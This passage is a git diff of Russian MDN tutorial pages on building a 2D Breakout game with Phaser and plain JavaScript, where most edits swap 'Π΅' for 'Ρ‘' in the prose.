-<p>ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ сразу Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ сообщСниС, ΠΊΠΎΠ³Π΄Π° мяч Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ Canvas, ΠΌΡ‹ сначала Π²Ρ‹Ρ‡ΠΈΡ‚Π°Π΅ΠΌ ΠΎΠ΄Π½Ρƒ Тизнь ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ числа ΠΈ провСряСм, Π½Π΅ Ρ€Π°Π²Π½ΠΎ Π»ΠΈ ΠΎΠ½ΠΎ Π½ΡƒΠ»ΡŽ. Если Π½Π΅ Ρ€Π°Π²Π½ΠΎ, Ρ‚ΠΎ Ρƒ ΠΈΠ³Ρ€ΠΎΠΊΠ° всС Π΅Ρ‰Π΅ ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ нСсколько ΠΆΠΈΠ·Π½Π΅ΠΉ, ΠΈ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ ΠΈΠ³Ρ€Π°Ρ‚ΡŒ - ΠΎΠ½ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ сообщСниС ΠΎ ΠΏΠΎΡ‚Π΅Ρ€Π΅ ΠΆΠΈΠ·Π½ΠΈ, ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ мяча ΠΈ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠ±Ρ€ΠΎΡˆΠ΅Π½Ρ‹ ΠΈ ΠΏΡ€ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΊΠ»ΠΈΠΊΠ΅ ΠΌΡ‹ΡˆΡŒΡŽ сообщСниС Π±ΡƒΠ΄Π΅Ρ‚ скрыто ΠΈ мяч снова Π½Π°Ρ‡Π½Π΅Ρ‚ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ.</p>
+<p>ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ сразу Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ сообщСниС, ΠΊΠΎΠ³Π΄Π° мяч Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ Canvas, ΠΌΡ‹ сначала Π²Ρ‹Ρ‡ΠΈΡ‚Π°Π΅ΠΌ ΠΎΠ΄Π½Ρƒ Тизнь ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ числа ΠΈ провСряСм, Π½Π΅ Ρ€Π°Π²Π½ΠΎ Π»ΠΈ ΠΎΠ½ΠΎ Π½ΡƒΠ»ΡŽ. Если Π½Π΅ Ρ€Π°Π²Π½ΠΎ, Ρ‚ΠΎ Ρƒ ΠΈΠ³Ρ€ΠΎΠΊΠ° всС Π΅Ρ‰Ρ‘ ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ нСсколько ΠΆΠΈΠ·Π½Π΅ΠΉ, ΠΈ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ ΠΈΠ³Ρ€Π°Ρ‚ΡŒ - ΠΎΠ½ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ сообщСниС ΠΎ ΠΏΠΎΡ‚Π΅Ρ€Π΅ ΠΆΠΈΠ·Π½ΠΈ, ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ мяча ΠΈ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠ±Ρ€ΠΎΡˆΠ΅Π½Ρ‹ ΠΈ ΠΏΡ€ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΊΠ»ΠΈΠΊΠ΅ ΠΌΡ‹ΡˆΡŒΡŽ сообщСниС Π±ΡƒΠ΄Π΅Ρ‚ скрыто ΠΈ мяч снова Π½Π°Ρ‡Π½Ρ‘Ρ‚ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ.</p>
<p>Когда количСство ΠΆΠΈΠ·Π½Π΅ΠΉ достигнСт нуля ΠΈΠ³Ρ€Π° заканчиваСтся, Π° ΠΈΠ³Ρ€ΠΎΠΊΡƒ показываСтся ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ сообщСниС.</p>
@@ -113,6 +113,6 @@ lifeLostText.visible = false;
<h2 id="Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ_шаг">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ шаг</h2>
-<p>Π–ΠΈΠ·Π½ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ ΠΈΠ³Ρ€Ρƒ Π±ΠΎΠ»Π΅Π΅ ΠΊΠ°Π·ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ β€” Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ ΠΏΡ€ΠΎΠΈΠ³Ρ€Π°Π΅Ρ‚Π΅ Π΅Π΄ΠΈΠ½ΠΎΠΆΠ΄Ρ‹, Ρƒ вас Π±ΡƒΠ΄ΡƒΡ‚ Π΅Ρ‰Π΅ 2 ΠΆΠΈΠ·Π½ΠΈ ΠΈ Π²Ρ‹ смоТСтС ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ ΠΈΠ³Ρ€Ρƒ. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΡ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π°Π΄ внСшним Π²ΠΈΠ΄ΠΎΠΌ ΠΈΠ³Ρ€Ρ‹, ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Π΅ Π±ΠΎΠ»Π΅Π΅ красивой, Π΄ΠΎΠ±Π°Π²ΠΈΠ²Β <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens">Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ ΠΈ эффСкты </a>.</p>
+<p>Π–ΠΈΠ·Π½ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ ΠΈΠ³Ρ€Ρƒ Π±ΠΎΠ»Π΅Π΅ ΠΊΠ°Π·ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ β€” Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ ΠΏΡ€ΠΎΠΈΠ³Ρ€Π°Π΅Ρ‚Π΅ Π΅Π΄ΠΈΠ½ΠΎΠΆΠ΄Ρ‹, Ρƒ вас Π±ΡƒΠ΄ΡƒΡ‚ Π΅Ρ‰Ρ‘ 2 ΠΆΠΈΠ·Π½ΠΈ ΠΈ Π²Ρ‹ смоТСтС ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ ΠΈΠ³Ρ€Ρƒ. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΡ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π°Π΄ внСшним Π²ΠΈΠ΄ΠΎΠΌ ΠΈΠ³Ρ€Ρ‹, ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Ρ‘ Π±ΠΎΠ»Π΅Π΅ красивой, Π΄ΠΎΠ±Π°Π²ΠΈΠ²Β <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens">Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ ΠΈ эффСкты </a>.</p>
<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Win_the_game", "Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens")}}</p>
diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/game_over/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/game_over/index.html
index c39dd38a7c..9e890e0d65 100644
--- a/files/ru/games/tutorials/2d_breakout_game_phaser/game_over/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_phaser/game_over/index.html
@@ -14,7 +14,7 @@ original_slug: Games/Tutorials/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_2D_Breakout_ΠΈΠ³Ρ€Ρ‹_Π½Π°_Phaser
<p>Π­Ρ‚ΠΎΒ <strong>8Β </strong>ΠΈΠ·Β 16 ΡƒΡ€ΠΎΠΊΠΎΠ²Β <a href="https://developer.mozilla.org/ru/docs/Games/Tutorials/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_2D_Breakout_%D0%B8%D0%B3%D1%80%D1%8B_%D0%BD%D0%B0_Phaser">руководства Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈΠ³Ρ€Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Phaser</a>. Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ этого ΡƒΡ€ΠΎΠΊΠ° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ здСсь:Β  <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson08.html">Gamedev-Phaser-Content-Kit/demos/lesson08.html</a>.</p>
</div>
-<p><span class="seoSummary">Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΈΠ³Ρ€Ρƒ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹ΡˆΠ° β€” Ссли Π²Ρ‹ Π½Π΅ ΠΎΡ‚ΠΎΠ±ΡŒΠ΅Ρ‚Π΅ мячик ΠΈ Π΄Π°Π΄ΠΈΡ‚Π΅ Π΅ΠΌΡƒ ΡƒΠΏΠ°ΡΡ‚ΡŒ Π½Π° ΠΏΠΎΠ», Ρ‚ΠΎ game over.</span></p>
+<p><span class="seoSummary">Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΈΠ³Ρ€Ρƒ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹ΡˆΠ° β€” Ссли Π²Ρ‹ Π½Π΅ ΠΎΡ‚ΠΎΠ±ΡŒΡ‘Ρ‚Π΅ мячик ΠΈ Π΄Π°Π΄ΠΈΡ‚Π΅ Π΅ΠΌΡƒ ΡƒΠΏΠ°ΡΡ‚ΡŒ Π½Π° ΠΏΠΎΠ», Ρ‚ΠΎ game over.</span></p>
<h2 id="ΠŸΡ€ΠΎΠΈΠ³Ρ€Ρ‹Ρˆ">ΠŸΡ€ΠΎΠΈΠ³Ρ€Ρ‹Ρˆ</h2>
diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/physics/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/physics/index.html
index e9de5c8ec3..ba34f51148 100644
--- a/files/ru/games/tutorials/2d_breakout_game_phaser/physics/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_phaser/physics/index.html
@@ -31,7 +31,7 @@ original_slug: Games/Tutorials/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_2D_Breakout_ΠΈΠ³Ρ€Ρ‹_Π½Π°_Phaser
<pre class="brush: js">game.physics.startSystem(Phaser.Physics.ARCADE);
</pre>
-<p>Π’ΠΎ-Π²Ρ‚ΠΎΡ€Ρ‹Ρ…, Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ мяч Π² Ρ„ΠΈΠ·ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ систСму, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰ΠΈΠΉ Π·Π° Ρ„ΠΈΠ·ΠΈΠΊΡƒ Π² Phaser, Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π² ΠΊΠΎΠ½Ρ†Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>create()</code>:Β </p>
+<p>Π’ΠΎ-Π²Ρ‚ΠΎΡ€Ρ‹Ρ…, Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ мяч Π² Ρ„ΠΈΠ·ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ систСму, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰ΠΈΠΉ Π·Π° Ρ„ΠΈΠ·ΠΈΠΊΡƒ Π² Phaser, Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π² ΠΊΠΎΠ½Ρ†Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>create()</code>:Β </p>
<pre class="brush: js">game.physics.enable(ball, Phaser.Physics.ARCADE);
</pre>
diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/player_paddle_and_controls/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/player_paddle_and_controls/index.html
index 2064e6aa09..06441df2ff 100644
--- a/files/ru/games/tutorials/2d_breakout_game_phaser/player_paddle_and_controls/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_phaser/player_paddle_and_controls/index.html
@@ -20,7 +20,7 @@ original_slug: Games/Tutorials/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_2D_Breakout_ΠΈΠ³Ρ€Ρ‹_Π½Π°_Phaser
<p>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ°, ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° ΠΈ мячик Π½Π΅ сильно Ρ€Π°Π·Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ - Π½Π°ΠΌ Ρ‚Π°ΠΊ ΠΆΠ΅ понадобится пСрСмСнная для ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹, спрайт ΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΌΠ°Π³ΠΈΠΈ.</p>
-<h3 id="Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ_ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ">Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ</h3>
+<h3 id="Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ_ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ">Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ</h3>
<p>Π‘Π½Π°Ρ‡Π°Π»Π°,Β Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>paddle</code>, сразу послС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>ball</code>:</p>
diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/scaling/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/scaling/index.html
index 30c80ddf18..878ab3eedc 100644
--- a/files/ru/games/tutorials/2d_breakout_game_phaser/scaling/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_phaser/scaling/index.html
@@ -39,7 +39,7 @@ original_slug: Games/Tutorials/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_2D_Breakout_ΠΈΠ³Ρ€Ρ‹_Π½Π°_Phaser
<li><code>NO_SCALE</code> β€” Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</li>
<li><code>EXACT_FIT</code> β€” ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с ΠΏΠΎΠ»Π½Ρ‹ΠΌ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ пустого мСста Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ ΠΈ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎ, Π½Π΅ соблюдая ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ (aspect ratio).</li>
<li><code>SHOW_ALL</code> β€” ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈΠ³Ρ€Ρƒ, Π½ΠΎ сохраняСт ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅Β Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΊΠ°ΠΆΠ°Ρ‚ΡŒΡΡ, ΠΊΠ°ΠΊ ΠΈ ΠΏΡ€ΠΈ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Ρ‡Ρ‘Ρ€Π½Ρ‹Ρ… полос ΠΏΠΎ краям экрана, Π½ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΆΠΈΡ‚ΡŒ с этим.</li>
- <li><code>RESIZE</code> β€” создаСт {{htmlelement("canvas")}} с доступными ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ ΠΈ высотой так, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² ΠΈΠ³Ρ€Ρƒ динамичСски; это Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΉ Ρ€Π΅ΠΆΠΈΠΌ (advanced mode).</li>
+ <li><code>RESIZE</code> β€” создаёт {{htmlelement("canvas")}} с доступными ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ ΠΈ высотой так, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² ΠΈΠ³Ρ€Ρƒ динамичСски; это Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΉ Ρ€Π΅ΠΆΠΈΠΌ (advanced mode).</li>
<li><code>USER_SCALE</code> β€” позволяСт Π²Π°ΠΌ Π΄Π΅Π»Π°Ρ‚ΡŒΒ Π΄ΠΈΠ½Π°ΠΌΠΈΡ‡Π΅ΡΠΊΠΎΠ΅ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, подсчёт Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ², ΠΌΠ°ΡΡˆΡ‚Π°Π± ΠΈ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ; ΠΎΠΏΡΡ‚ΡŒ ΠΆΠ΅ это Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΉ Ρ€Π΅ΠΆΠΈΠΌ.</li>
</ul>
diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html
index 95f3e31b65..aea0e44784 100644
--- a/files/ru/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html
@@ -38,7 +38,7 @@ original_slug: Games/Tutorials/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_2D_Breakout_ΠΈΠ³Ρ€Ρ‹_Π½Π°_Phaser
}
</pre>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π±Ρ€Π°Ρ‚ΡŒ всС ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ Π² Π½Π°Π±ΠΎΡ€Π΅, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ полю <code>bricks.children</code>. Найдём всС Π½Π΅Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ, провСряя ΠΏΠΎΠ»Π΅ <code>alive</code>Β Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π° ΠΈ, Ссли всС ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ Ρ€Π°Π·Ρ€ΡƒΡˆΠ΅Π½Ρ‹, Π²Ρ‹Π²Π΅Π΄Π΅ΠΌ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ с тСкстом ΠΎ ΠΏΠΎΠ±Π΅Π΄Π΅. ПослС закрытия этого ΠΎΠΊΠ½Π°, страница пСрСзагрузится.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π±Ρ€Π°Ρ‚ΡŒ всС ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ Π² Π½Π°Π±ΠΎΡ€Π΅, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ полю <code>bricks.children</code>. Найдём всС Π½Π΅Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ, провСряя ΠΏΠΎΠ»Π΅ <code>alive</code>Β Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π° ΠΈ, Ссли всС ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ Ρ€Π°Π·Ρ€ΡƒΡˆΠ΅Π½Ρ‹, Π²Ρ‹Π²Π΅Π΄Π΅ΠΌ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ с тСкстом ΠΎ ΠΏΠΎΠ±Π΅Π΄Π΅. ПослС закрытия этого ΠΎΠΊΠ½Π°, страница пСрСзагрузится.</p>
<h2 id="Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅_свой_ΠΊΠΎΠ΄">Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅ свой ΠΊΠΎΠ΄</h2>
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html
index f94fabfb04..54bcf6cb81 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html
@@ -21,13 +21,13 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_
<p>Π­Ρ‚ΠΎ 3-ΠΉ этап ΠΈΠ· 10 Β <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ исходный ΠΊΠΎΠ΄ ΠΊΠ°ΠΊ ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ этого ΡƒΡ€ΠΎΠΊΠ° Π² <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson03.html">Gamedev-Canvas-workshop/lesson3.html</a>.</p>
</div>
-<p>ΠŸΡ€ΠΈΡΡ‚Π½ΠΎ Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚ΡŒ за нашим мяч, Π½ΠΎ ΠΎΠ½ быстро исчСзаСт с экрана, ΡƒΠ΄ΠΎΠ²ΠΎΠ»ΡŒΡΡ‚Π²ΠΈΠ΅ длится Π½Π΅Π΄ΠΎΠ»Π³ΠΎ! Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π»ΠΈΡ‚ΡŒ, ΠΌΡ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΡ‡Π΅Π½ΡŒ простоС обнаруТСниС столкновСний (ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄Π΅Ρ‚ рассказано <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Collision_detection">Π΄Π°Π»Π΅Π΅</a> Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ отскок мяча ΠΎΡ‚ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… ΠΊΡ€Π°Π΅Π² холста.</p>
+<p>ΠŸΡ€ΠΈΡΡ‚Π½ΠΎ Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚ΡŒ за нашим мяч, Π½ΠΎ ΠΎΠ½ быстро исчСзаСт с экрана, ΡƒΠ΄ΠΎΠ²ΠΎΠ»ΡŒΡΡ‚Π²ΠΈΠ΅ длится Π½Π΅Π΄ΠΎΠ»Π³ΠΎ! Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π»ΠΈΡ‚ΡŒ, ΠΌΡ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΡ‡Π΅Π½ΡŒ простоС обнаруТСниС столкновСний (ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄Π΅Ρ‚ рассказано <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Collision_detection">Π΄Π°Π»Π΅Π΅</a> Π±ΠΎΠ»Π΅Π΅ 